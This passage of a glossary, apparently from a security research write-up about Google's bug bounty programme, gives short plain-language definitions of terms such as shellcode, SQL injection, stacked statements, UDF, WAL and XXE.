- Scope: a permission attached to a token that says what it may do.
- Segmentation fault: a crash caused by a program accessing memory it should not.
- Service account: a Google account that belongs to a program rather than a person.
- Shell: a text prompt where you type commands that the operating system runs.
- Shellcode: a small piece of compiled code used as a payload, often to open a shell.
- SQL injection: a bug where text you supply becomes part of a database query.
- Stacked statements: putting a second SQL command after the first, separated by a semicolon, hoping the server runs both.
- Stored procedure: a named block of SQL saved inside the database that you can call later.
- Subquery: a query nested inside another query.
- SUPER privilege: a powerful MySQL privilege that allows almost anything.
- Token: a short-lived string that proves who you are, like a cloakroom ticket.
- UDF: a user-defined function, a function added to a database from a compiled library.
- Unix socket: a way for programs on the same machine to talk to each other without using the network.
- VRP: Google's Vulnerability Reward Program, its bug bounty programme.
- WAL: write-ahead log, the record of changes PostgreSQL writes before applying them, used for recovery and replication.
- XXE: XML External Entity, a bug where an XML parser is tricked into fetching a file or URL named inside the document.